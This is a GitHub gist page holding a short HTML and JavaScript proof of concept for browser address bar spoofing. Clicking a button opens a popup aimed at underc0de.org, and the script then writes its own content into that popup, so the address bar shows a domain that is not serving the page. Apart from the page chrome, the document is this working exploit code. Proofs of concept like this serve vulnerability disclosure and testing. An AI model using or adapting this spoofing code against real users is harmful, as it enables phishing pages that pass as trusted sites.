Skip to content

Instantly share code, notes, and snippets.

@jimen0
Created June 21, 2015 19:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jimen0/c310180ae6c8c72c8ec3 to your computer and use it in GitHub Desktop.
Save jimen0/c310180ae6c8c72c8ec3 to your computer and use it in GitHub Desktop.
Address bar Spoofing PoC
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head><title>address bar spoofing</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
</head>
<body><h1>address bar spoofing</h1>
<li>Please click the button to run the proof of concept. <button id="one">Demo</button></li>
<script type="text/javascript">
document.getElementById('one').onclick = function() {
myWindow=window.open('http://underc0de.org/','Underc0de','width=200,height=100,location=yes');
myWindow.document.write("<html><head></head><body><b>This page is still being hosted on my server (192.3.54.224), but the address bar is pointing to another domain (underc0de.org).</b><br><br><iframe src=\"http://underc0de.org/\");></iframe></scri+pt></body></html>");
myWindow.focus();
return false;
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment